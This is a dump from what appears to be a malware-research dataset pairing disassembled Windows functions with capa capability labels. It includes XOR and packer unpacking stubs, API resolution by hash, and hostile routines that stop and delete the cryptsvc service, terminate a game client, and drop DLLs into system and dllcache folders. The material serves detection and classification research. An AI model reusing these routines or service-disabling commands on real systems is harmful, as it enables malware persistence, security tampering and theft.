joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1002aaee
pop dword [ebp - 0x10]
mov eax, 0x1f6c125
sub eax, 0xf1f41637
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x928f5503
add dword [ebp - 0x20], 0xbbc2f048
mov dword [ebp - 0x1c], 0xc3d9b734
add dword [ebp - 0x1c], 0x6e599511
mov dword [ebp - 0x18], 0x9bac33e6
sub dword [ebp - 0x18], 0x4f5fefb8
mov dword [ebp - 0x14], 0xcbbf4e84
sub dword [ebp - 0x14], 0xcbbf4e84
lea eax, [ebp - 0x20]
push eax
mov eax, 0xe51b7f40
add eax, 0x2ae740f8
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x8aba90ee
sub dword [ebp - 0x20], 0x16482798
mov dword [ebp - 0x1c], 0x8eb22326
sub dword [ebp - 0x1c], 0x4d45c1b1
mov dword [ebp - 0x18], 0xc293d14b
sub dword [ebp - 0x18], 0x5f2464df
mov dword [ebp - 0x14], 0x8e26053c
add dword [ebp - 0x14], 0x71d9fac4
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xe38b47a0
add eax, 0x2c777888
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x365a4
push 0
call eax
mov ecx, 0x478a
xor edx, edx
add edx, eax
mov esi, 0x10039600
add esi, dword [ebp - 0x10]
mov ebx, 0x1a71b7ef
sub dword [ebp - 8], 0x8de6a452
mov edi, dword [esi]
xor dword [ebp - 8], eax
xor edi, ebx
add dword [ebp - 4], 0x7276184b
mov dword [edx], edi
sub dword [ebp - 0xc], edx
add edx, 0x492f6dd6
sub edx, 0x492f6dd2
add esi, 0x31b5218
sub esi, 0x31b5214
loop 0x1002ac00
add eax, 0x110fb
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0xaa60e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x651000]
push edi
jmp 0xaa60fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xaa6101
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaa60f0
mov eax, 1
add ebx, ebx
jne 0xaa6113
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xaa6124
jne 0xaa6143
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaa6143
dec eax
add ebx, ebx
jne 0xaa6130
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xaa6108
add ebx, ebx
jne 0xaa613f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xaa6195
xor ecx, ecx
sub eax, 3
jb 0xaa615b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xaa61ca
sar eax, 1
mov ebp, eax
jmp 0xaa6166
add ebx, ebx
jne 0xaa6166
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaa6134
inc ecx
add ebx, ebx
jne 0xaa6174
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaa6134
add ebx, ebx
jne 0xaa6181
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xaa6176
jne 0xaa6192
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xaa6176
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xaa61b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xaa61a6
jmp 0xaa60f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xaa61b4
add edi, ecx
jmp 0xaa60f6
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xaa61d2
cmp byte [edi], 0x11
jne 0xaa61d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xaa61d7
lea edi, [esi + 0x69f000]
mov eax, dword [edi]
or eax, eax
je 0xaa624f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc76dc0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc76f3c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xaa6204
mov ecx, edi
jns 0xaa6233
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc76f40]
or eax, eax
je 0xaa6249
mov dword [ebx], eax
add ebx, 4
jmp 0xaa6221
call dword [esi + 0xc76f50]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xaa6280
cmp al, 0xef
ja 0xaa6273
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xaa6255
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xaa6262
mov ebp, dword [esi + 0xc76f44]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xaa62b4
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x19342bca
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x70054548
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401270
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x508
test eax, eax
push ebp
mov ebp, dword [esp + 0x510]
push esi
push edi
je 0x401336
mov eax, dword [0x40eefc]
mov dword [esp + 0xc], 0
test eax, eax
jle 0x4012ec
mov edi, 0x40ef00
mov esi, ebp
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4012ca
test cl, cl
je 0x4012c6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4012ca
add eax, 2
add esi, 2
test cl, cl
jne 0x4012a6
xor eax, eax
jmp 0x4012cf
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40132a
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40eefc]
inc eax
add edi, 0x104
cmp eax, ecx
mov dword [esp + 0xc], eax
jl 0x4012a2
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.elementclient.exe
push ebp
lea eax, [esp + 0x18]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401336
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x508
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.elementclient.exe
stosb byte es:[edi], al
call fcn.00402db0
mov eax, dword [0x40eefc]
mov edi, ebp
mov edx, eax
or ecx, 0xffffffff
shl edx, 6
add edx, eax
inc eax
mov dword [0x40eefc], eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x40ef00]
mov eax, ecx
mov esi, edi
mov edi, edx
push str.ksuser.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push str._s_s
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x124]
push ecx
call esi
lea edx, [esp + 0x128]
push edx
call fcn.00402cf0
add esp, 0x18
lea eax, [esp + 0x114]
push 0
push eax
push 0x410f80
call dword [0x40e3f8]
push str.midimap.dll
push ebp
lea ecx, [esp + 0x11c]
push str._s_s
push ecx
call esi
lea edx, [esp + 0x124]
push edx
call fcn.00402cf0
add esp, 0x14
lea eax, [esp + 0x114]
push 0
push eax
push 0x410f80
call dword [0x40e3f8]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.msimg32.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402cf0
add esp, 4
lea ecx, [esp + 0x114]
push 0
push ecx
push 0x410f80
call dword [0x40e3f8]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x508
ret
Function at 0x4019a0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40e428]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401a2f
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401a1f
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4019e8
test ebp, ebp
jle 0x401a5b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401a55
push esi
call fcn.004017d0
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401a44
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x401cc0
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret
Function at 0x401cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x31c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x31d]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40eae4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40d110
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
call edi
lea edx, [esp + 0x124]
push esi
push edx
push str._syu_s
lea eax, [esp + 0x234]
push eax
call edi
add esp, 0x20
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401e1c
lea edx, [esp + 0x218]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
call dword [0x40e3f8]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402cf0
add esp, 4
lea edx, [esp + 0x10]
push ebx
push edx
push 0x410f80
call dword [0x40e3f8]
lea eax, [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x324]
push str._sdllcache_s
push ecx
call edi
lea edx, [esp + 0x32c]
push edx
call fcn.00402cf0
add esp, 0x14
lea eax, [esp + 0x31c]
lea ecx, [esp + 0x10]
push ebx
push eax
push ecx
call dword [0x40e3f8]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret
Function at 0x402100
Capabilities:
Create process on windows
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x2f0
push ebp
mov ebp, ecx
call fcn.004024c0
call fcn.00402b10
call fcn.00401a70
test eax, eax
je 0x402262
push str.elementclient.exe
call fcn.00402be0
add esp, 4
test eax, eax
je 0x40214e
push str.elementclient.exe
call fcn.00402db0
add esp, 4
test eax, eax
jne 0x40214e
push eax
push 0x4020c0
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.00401b40
lea eax, [esp + 0x260]
mov dword [esp + 0x260], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.00401560
call fcn.00401660
call fcn.00401f10
cmp eax, 1
jne 0x40218c
call fcn.00401e90
call fcn.004019a0
jmp 0x402191
call fcn.00401e90
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push 0x40eae4
lea ecx, [esp + 0x64]
push str._s_rundll32.exe
push ecx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
call esi
push 0x40ebe8
push 0x410f80
lea edx, [esp + 0x178]
push str.__s__ServerMain__s
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x50]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x164]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
add esp, 0x2f0
ret
Function at 0x402b10
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x40eae4
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x40e9e0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x40e8dc
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
push 0x40ebe8
push 0
call esi
mov eax, dword [0x40eef4]
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
test eax, eax
je 0x402b7c
push 0x104
push 0x40edf0
push eax
call esi
push 0x40edf0
call edi
add esp, 4
push 0x40ebe8
call edi
push 0x40ebe8
call fcn.00402bc0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40ecec
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x402cf0
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402d98
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402d98
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0
push eax
push esi
call fcn.00402c70
add esp, 0xc
lea ecx, [esp + 8]
lea edx, [esp + 0x10c]
push ecx
push 0
push str.TEMP
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [esp + 8]
push 1
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call esi
push 4
lea ecx, [esp + 0xc]
push 0
push ecx
call esi
pop edi
pop esi
add esp, 0x208
ret

Function at 0x402db0
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
call fcn.00402be0
add esp, 4
mov esi, eax
push esi
push 0
push 1
call ebx
test eax, eax
je 0x402df4
push 0
push eax
call ebp
test eax, eax
je 0x402df4
test esi, esi
je 0x402dfb
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402dc4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x100131d0
Capabilities:
Resolve function by hash

Disassembly:
fmul dword [ecx + 0x3b66ec45]
in al, 0x74
stosb byte es:[edi], al
Function at 0x401000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401012
mov eax, dword [0x40b11b]
shl eax, 2
mov dword [0x40b11f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00402610
pop edx
call fcn.004019ac
call fcn.00402614
push 0
call fcn.0040335c
pop ecx
push 0x40b0c4
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x40b123], eax
push 0
jmp fcn.00408d40
Function at 0x401279
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0xc], eax
xor edx, edx
mov dword [ebp - 0x10], edx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
call fcn.00405a50
mov ebx, eax
call fcn.00405a50
imul ebx, eax
mov dword [ebp - 4], ebx
call fcn.00405a50
mov edi, eax
and edi, 3
inc edi
mov eax, dword [ebp - 4]
xor ebx, ebx
cmp ebx, dword [ebp + 0x14]
jge 0x40144b
mov edx, eax
and dl, 0xff
mov ecx, dword [ebp + 0x10]
xor byte [ecx + ebx], dl
mov ecx, edi
mov edx, eax
shl edx, cl
and edx, 0xffffffff
mov dword [ebp - 8], edx
mov ecx, 0x20
sub ecx, edi
shr eax, cl
and eax, 0xffffffff
or eax, dword [ebp - 8]
inc ebx
cmp ebx, dword [ebp + 0x14]
jl 0x4012bf
jmp 0x40144b
mov eax, dword [ebp - 0x10]
cmp eax, 0x13
ja case.default.0x4012fc
jmp dword [eax*4 + 0x401303]
mov byte [esi], 0x55
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x8b
inc esi
mov byte [esi], 0xec
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x53
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x51
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x52
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x8b
inc esi
mov byte [esi], 0x5d
inc esi
mov byte [esi], 8
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0xb9
inc esi
mov edx, dword [ebp + 0x14]
mov dword [esi], edx
add esi, 4
jmp case.default.0x4012fc
mov byte [esi], 0xba
inc esi
mov eax, dword [ebp - 4]
mov dword [esi], eax
add esi, 4
jmp case.default.0x4012fc
mov dword [ebp - 0x14], 1
mov byte [esi], 0x8a
inc esi
mov byte [esi], 3
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x43
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x32
inc esi
mov byte [esi], 0xc2
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0xc1
inc esi
mov byte [esi], 0xc2
inc esi
mov edx, edi
mov byte [esi], dl
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x88
inc esi
mov byte [esi], 0x43
inc esi
mov byte [esi], 0xff
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0xe2
inc esi
mov byte [esi], 0xf3
inc esi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
jmp case.default.0x4012fc
mov byte [esi], 0x5a
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x59
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x5b
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0x5d
inc esi
jmp case.default.0x4012fc
mov byte [esi], 0xc3
inc esi
jmp case.default.0x4012fc
mov dword [ebp - 0xc], 1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x14], 0
jne 0x40144b
call fcn.00405a50
mov ebx, eax
and ebx, 3
test ebx, ebx
je 0x40144b
push esi
call fcn.004011c4
pop ecx
mov esi, eax
dec ebx
test ebx, ebx
jne 0x40143d
cmp dword [ebp - 0xc], 0
je 0x4012f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402304
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret
Function at 0x4037a8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
test byte [ebp + 0xd], 0xc0
jne 0x4037c7
mov eax, dword [0x40c06c]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x4037d4
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x403801
je 0x403813
sub ecx, 0x100
je 0x403821
sub ecx, 0x100
je 0x403828
sub ecx, 0x100
je 0x40381a
jmp 0x40382f
sub ecx, 0x600
je 0x403828
sub ecx, 0x100
je 0x403813
jmp 0x40382f
mov edi, 1
jmp 0x403834
mov edi, 2
jmp 0x403834
mov edi, 4
jmp 0x403834
mov edi, 5
jmp 0x403834
mov edi, 3
test byte [ebp + 0xd], 1
je 0x40385b
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x40bad8]
test al, 0x80
je 0x403854
mov ebx, 0x80
jmp 0x40386d
mov ebx, 1
jmp 0x40386d
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x40386d
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x40387f
je 0x403888
dec eax
je 0x403891
jmp 0x40389a
mov dword [ebp - 4], 0x80000000
jmp 0x4038a9
mov dword [ebp - 4], 0x40000000
jmp 0x4038a9
mov dword [ebp - 4], 0xc0000000
jmp 0x4038a9
push 1
call fcn.00404bb8
pop ecx
mov ebx, eax
jmp 0x403999
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x4038c5
sub eax, 0x10
je 0x4038cc
sub eax, 0x10
je 0x4038d5
sub eax, 0x10
je 0x4038de
jmp 0x4038de
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x4038e5
mov dword [ebp - 8], 1
jmp 0x4038e5
mov dword [ebp - 8], 2
jmp 0x4038e5
mov dword [ebp - 8], 3
mov dword [ebp - 0x14], 0xc
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
and eax, 0x80
cmp eax, 1
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
push 0
push ebx
push edi
push ecx
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x403952
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x403947
test byte [ebp + 0xd], 1
je 0x403942
mov ebx, 0x50
jmp 0x403947
mov ebx, 2
push ebx
call fcn.00404bb8
pop ecx
mov ebx, eax
jmp 0x403999
mov edi, esi
push edi
call fcn.00403718
pop ecx
test eax, eax
je 0x403966
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x403972
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.004048fc
add esp, 8
mov ebx, eax
inc eax
jne 0x403999
push 4
call fcn.00404bb8
pop ecx
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret